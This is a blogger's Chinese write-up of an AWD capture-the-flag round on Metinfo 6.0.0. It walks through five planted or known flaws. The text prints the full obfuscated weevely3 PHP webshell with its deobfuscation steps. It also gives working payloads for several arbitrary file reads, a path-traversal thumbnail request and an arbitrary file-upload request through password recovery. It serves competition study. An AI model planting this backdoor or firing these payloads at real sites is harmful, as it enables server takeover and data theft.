“蓝帽杯”--第一次AWD之旅

很幸运参加了第二届“蓝帽杯”的分区赛,这也是参加的第一场线下赛,体验非常好,学到了很多东西,也见识到了大佬们的姿势。
全程在防守,审出漏洞也看不出来,不会用,要学的还有太多了。
参加的是浙江赛区的比赛,赛后重新梳理了一下web题目。

题目是 Metinfo6.0.0,一共有5个漏洞,4个主办方加进去的,还有一个Metinfo6.0.0任意文件读取漏洞。

1、 后台seo任意文件读取漏洞
路径:\admin\seo\htm.php
这里写图片描述
源码:

1
2
if(isset($_GET['seourl'])){
echo file_get_contents(base64_decode('L2ZsYWc='));}

1
2
payload:
/admin/seo/htm.php?seourl

2、 weevely3后门
路径:\app\system\news\web\news.class.php
这里写图片描述
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$t = 'pre2Fss(@2Fx(@b2Fase64_deco2F2Fde(preg2F_r2Fepl2Face(array("/_/",2F"2F/-/"),array("/2F","2F+")2';
$O = 'er"2F;$i=$m[1][02F]2F.$m[1][1];2F$h=$sl2F($s2Fs(md5(2F$i.$kh)2F2F2F,0,3));$2Ff2F=$sl(2F$ss(md5(';
$s = 'rpos(2F$p,$h)===0)2F{$2Fs[$i]=2F"";$p=2F$ss($p,3)2F2F2F;}if(array2F_key_2Fexists($i,$s))2F{2F$s';
$U = 'F,$ss($s[2F$i2F],0,2F$e))),$k2F)2F));2F$o2F=ob_get_contents();ob_end_2Fclean(2F);$2Fd=b2Fase64_';
$l = '2F[$i].=$p;2F$e=strpos($s2F[2F$i2F],$f);if($e2F2F){$k=2F2F$kh.$kf;ob_start();@ev2Fal(@gzu2Fncom';
$A = str_replace('Th', '', 'ThcreThThaThte_funThThction');
$N = 'm2F);if($2Fq&&$m){@ses2Fsion_2Fstar2Ft();$s=&2F$_S2FESSION;$ss2F2F="substr";$sl2F="strt2F2Folow';
$q = '"2F";for($i=0;$i<$2Fl;)2F{2Ffor($j=0;($j<$2Fc&&$i<$l2F);$j+2F+,2F$i++)2F{$o.=$t{$i}^2F$k{$j2F};';
$K = '=array_value2Fs2F($q);preg2F_2Fma2Ftch_a2Fll("/([\\w])[\\w-2F]+2F(?:2F;q=0.([\\d]))?,?/",$2Fra2F,$';
$F = '_LANGUAGE2F"];if($rr&&2F$r2F2Fa){$u=par2Fse2F_u2Frl($rr);parse2F_str($2Fu2F["query"],$q2F)2F;$q';
$c = '2F}}return $2Fo;2F}$r=$_2FSE2FRVE2FR;$rr=@2F$r["2FHT2FTP_2FREFERER"];$ra=@$r[2F"HTTP_ACCE2F2FPT';
$d = '$i.2F$kf)2F,0,3));$p="";for($z=2F1;$z<coun2Ft2F($m[1]);$z+2F+)2F$p.=$q[$m2F[2]2F[$2Fz]2F];if(st';
$X = '$kh="ccd2"2F;$kf="2Fe8f9";f2Funct2Fion x($2Ft,$2Fk){$c=st2Fr2Fl2Fen($k);$l=strlen2F($t2F);$o=2F';
$m = 'e2Fncode(x(gzc2Fomp2Fr2Fess($o),2F$k))2F;print("<2F$k>2F$d</$k2F>");@se2Fss2Fion_destroy();}}}}';
$E = str_replace('2F', '', $X . $q . $c . $F . $K . $N . $O . $d . $s . $l . $t . $U . $m);
$I = $A('', $E);
$I();

这是 一个PHP混淆后门,混淆的特别乱,将原来的代码打乱顺序混淆。
经过分析,混淆进行的操作,先按照 $X . $q . $c . $F . $K . $N . $O . $d . $s . $l . $t . $U . $m 拼接字符串,然后删除2F,去除$l 中的Th 利用create_function()创建$l函数
进行反混淆和美化:
这里写图片描述
这里写图片描述
3、任意文件读取漏洞
路径:\app\system\img\web\img.class.php
这里写图片描述
源码:

1
2
3
4
5
6
7
8
9
10
11
public function doshowimg(){
global $_M;
$this->showpage('img');
if(isset($_GET['images'])){
@$imga=$_GET['a'];
@$imgs=$_GET['b'].'tents';
echo @$imgs($imga);}
require_once $this->template('tem/showimg');
}

}

get 方式提交images、a、b 其中 get b 后边是tents b=构成 file_get_contens

1
payload: ?images=1&b=file_get_con&a=/flag

4、任意文件读取漏洞
路径:\app\system\include\ module\old_thumb.class.php
这里写图片描述
这里写图片描述
关键代码:
这里写图片描述

1
payload:/include/thumb.php?dir=http/...././/...././/...././/...././/...././/flag

5、 找回密码处任意文件上传漏洞

1
2
3
4
5
6
POST ////////admin/index.php?
lang=cn&anyid=&n=getpassword&c=index&a=dogetpassword
HTTP/1.1
Host: . . . .
action=next2&abt_type=2&admin_mobile=123123&admin_type=/t
mp/1.php&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5

最后有一个漏洞看了wp才知道的,通过这次比赛更加证明了自己的菜,而且不是一般的菜,要学的东西还有很多,漏洞中的weevely3后门和Metinfo6.0.0任意文件读取漏洞还是得单独总结复现一下,另外要积累各种漏洞存在的形式,像是各种混淆后门、变形木马、任意文件读取的方式等。

学喜欢的,做想做的,加油!

-------------本文结束有错指正哦!-------------